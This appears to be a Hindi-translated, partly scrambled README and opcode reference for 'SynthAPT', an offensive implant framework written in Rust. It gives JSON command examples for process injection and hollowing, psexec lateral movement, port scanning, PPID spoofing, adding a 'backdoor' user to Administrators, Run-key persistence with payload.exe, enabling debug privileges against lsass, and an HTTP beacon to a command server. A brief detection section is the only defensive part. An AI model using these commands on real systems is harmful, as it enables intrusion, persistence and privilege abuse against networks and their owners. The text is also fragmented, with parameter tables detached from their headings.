कमिटेड प्राइवेट एक्जीक्यूटेबल मेमोरी क्षेत्र खोजें — इंजेक्ट किए गए शेलकोड या रिफ्लेक्टिव DLL के संकेतक। सभी-शून्य पृष्ठों को छोड़ें और MZ हेडर वाले क्षेत्रों को नोट करें। पोस्टकार्ड-सीरियलाइज़्ड Vec<ProcessResult<MalfindHit>> लौटाता है।

Field	Type
pid	u32 or `"all"`

---

### ldr_check (0x48)
PEB मॉड्यूल सूची के विरुद्ध IMAGE मेमोरी क्षेत्रों का क्रॉस-रेफरेंस करें ताकि अनलिंक या छिपी हुई DLLs ढूंढी जा सकें — ऐसे क्षेत्र जिनमें MZ हेडर हैं लेकिन `InLoadOrderModuleList` में मौजूद नहीं हैं। `Vec<ProcessResult<LdrCheckHit>>` का पोस्टकार्ड-सीरियलाइज़्ड रिटर्न करता है।

| फ़ील्ड | प्रकार | |
|-------|------|-|
| pid | u32 या `"all"` | *वैकल्पिक* (छोड़ें = वर्तमान प्रक्रिया; `"all"` = प्रत्येक सुलभ प्रक्रिया) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }

पता लगाना

सभी फ्रेमवर्क की तरह, इम्प्लांट का मेमोरी में एक विशिष्ट फुटप्रिंट होता है, और कई सादे टेक्स्ट स्ट्रिंग्स जो इसे उजागर करती हैं। आप बेस शेलकोड फ़ाइल out/shellcode.bin से सिग्नेचर बना सकते हैं।

श्रेय

यह प्रोजेक्ट safedev द्वारा Rustic64Shell का विस्तार है।

पुनरावर्ती रूप से लोड किया गया Python DLL farfella से है।

bof_data	bytes	आवश्यक
entry	string	वैकल्पिक (डिफ़ॉल्ट: `"go"`)
inputs	bytes	वैकल्पिक (BOF तर्क, छोड़ने पर खाली)
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }

targets	string	आवश्यक (अल्पविराम से अलग किए गए IP, CIDR, रेंज या होस्टनाम; उपनाम: `host`)
ports	string	आवश्यक (अल्पविराम से अलग किए गए पोर्ट या रेंज, जैसे `"22,80,443,8000-8100"`)
{ "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
{ "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }

hook_id	i32	वैकल्पिक (`frida_hook` द्वारा लौटाया गया हुक ID)
name	string	वैकल्पिक (`frida_hook` `name` फ़ील्ड के साथ सेट किया गया हुक नाम)
{ "op": "frida_unhook" }
{ "op": "frida_unhook", "hook_id": 1 }
{ "op": "frida_unhook", "name": "my_hook" }

image	स्ट्रिंग	आवश्यक
task_id	u8	आवश्यक
pipe_name	स्ट्रिंग	वैकल्पिक (आउटपुट कैप्चर के लिए नामित पाइप, `\\.\pipe\` उपसर्ग के बिना)
search	स्ट्रिंग	वैकल्पिक (PPID स्पूफ करने के लिए प्रक्रिया नाम/कमांड लाइन)
no_kill	बूल	वैकल्पिक (डिफ़ॉल्ट: false — इंजेक्शन के बाद प्रक्रिया को मार दिया जाता है)
{ "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }

target	string	आवश्यक (hostname या IP)
service_name	string	आवश्यक
display_name	string	आवश्यक
binary_path	string	आवश्यक (रिमोट होस्ट पर पथ)
service_bin	bytes	आवश्यक (लिखने के लिए बाइनरी डेटा)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" }

dn	string	आवश्यक
attr	string	आवश्यक
value	string	आवश्यक
{ "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }

group	string	आवश्यक
username	string	आवश्यक
server	string	वैकल्पिक (खाली = स्थानीय मशीन)
{ "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
{ "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" }

key	string	आवश्यक
value_name	string	आवश्यक (डिफ़ॉल्ट मान के लिए खाली स्ट्रिंग)
value	bytes	आवश्यक
value_type	string	वैकल्पिक (डिफ़ॉल्ट: `"REG_SZ"`; इसके अलावा: `REG_DWORD`, `REG_BINARY`, `REG_EXPAND_SZ`, `REG_MULTI_SZ`, `REG_QWORD`)
{ "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" }
{ "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }

privilege	string	आवश्यक (उपनाम: `priv_name`)
search	string	वैकल्पिक (खाली = वर्तमान प्रक्रिया)
{ "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
{ "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }

task_id	u8	आवश्यक
export_name	string	वैकल्पिक (default: `"Run"`)
{ "op": "generate_dll", "task_id": 2 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" }

host	string	वैकल्पिक
port	u16	वैकल्पिक (डिफ़ॉल्ट: `80`)
interval	u32	वैकल्पिक (मिलीसेकंड में पोल अंतराल; डिफ़ॉल्ट: `5000`)
secure	bool	वैकल्पिक (डिफ़ॉल्ट: `false`)
agent_id	string	वैकल्पिक (बीकॉन अनुरोधों में भेजा गया पहचानकर्ता)
{ "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }

सबसे लोकप्रिय

SynthAPT

SynthAPT

अवलोकन

विशेषताएं

स्रोत से निर्माण

उपयोग

Opcodes Reference

get_shellcode (0x02)

run_command (0x04)

read_file (0x06)

check_error (0x08)

set_var (0x0A)

goto (0x0C)

list_procs (0x0E)

wmi_exec (0x10)

sacrificial (0x12)

shellcode_server (0x14)

psexec (0x16)

run_bof (0x18)

set_ad_attr_str (0x1A)

portscan (0x1C)

add_user_to_localgroup (0x1E)

get_user_sid (0x20)

remove_user_from_group (0x22)

reg_create_key (0x24)

reg_set_value (0x26)

make_token (0x28)

enable_privilege (0x2A)

list_thread_privs (0x2C)

revert_to_self (0x2E)

delete_service (0x30)

generate_dll (0x32)

shell_extract (0x34)

load_library (0x36)

hollow (0x38)

register_service (0x3A)

hollow_apc (0x3C)

frida_unhook (0x40)

http_beacon (0x43)

dll_list (0x45)

malfind (0x47)

पता लगाना

श्रेय